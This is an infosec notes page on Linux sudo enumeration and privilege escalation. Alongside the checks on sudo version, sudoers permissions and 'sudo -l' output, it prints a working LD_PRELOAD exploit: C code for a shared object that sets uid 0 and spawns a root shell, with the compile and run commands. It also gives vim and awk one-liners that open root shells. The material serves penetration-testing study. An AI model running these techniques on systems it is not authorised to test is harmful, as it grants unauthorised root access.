> For the complete documentation index, see [llms.txt](https://riteshs4hu.gitbook.io/infosec-notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://riteshs4hu.gitbook.io/infosec-notes/internal-and-external-network-sec/privilege-escalation/linux/sudo-enumeration.md).

# SUDO Enumeration

### Identify Sudo Version

Knowing the sudo version can help determine if it's vulnerable to known exploits.

```bash
sudo -V
```

***

### Check Sudo File Permissions

```bash
ls -lha /etc/sudoers
ls -lha /etc/sudoers.d/
```

The default permission is `-r--r-----` `440`

* Check Read Permission.
* Check Writable permissions by non-root users.

***

### List Allowed Sudo Commands

```bash
sudo -l
```

Sample output:

```
User example may run the following commands on this host:
    (ALL : ALL) ALL
    (ALL) NOPASSWD: /usr/bin/vim
```

Check for:

* Full root access (`ALL`)
* NOPASSWD entries
* Commands without full path
* Commands with environment variables (`!secure_path`)

***

### LD\_PRELOAD Exploitation

If you find a binary that is run with `sudo` and allows environment variables (like `LD_PRELOAD`) — and doesn't strip them — you may gain root access.

Reference: [Hacking Articles - LD\_PRELOAD Exploit](https://www.hackingarticles.in/linux-privilege-escalation-using-ld_preload/)

#### Exploitable Binary Example:

```bash
sudo -l
  (ALL) NOPASSWD: /path/to/vulnerable_binary
```

#### Steps:

1. Write a malicious `.so` file:

```c
#include <stdio.h>
#include <stdlib.h>
void _init() {
    setuid(0); setgid(0);
    system("/bin/bash");
}
```

2. Compile it:

```bash
gcc -fPIC -shared -o /tmp/root.so root.c -nostartfiles
```

3. Exploit:

```bash
sudo LD_PRELOAD=/tmp/root.so /path/to/vulnerable_binary
```

You’ll now have a root shell.

***

### GTFOBins

If a binary is allowed in sudo, search it on <https://gtfobins.github.io> for privilege escalation techniques.

Example:

```bash
sudo vim -c ':!sh'
```

```
sudo awk 'BEGIN {system("/bin/sh")}'
```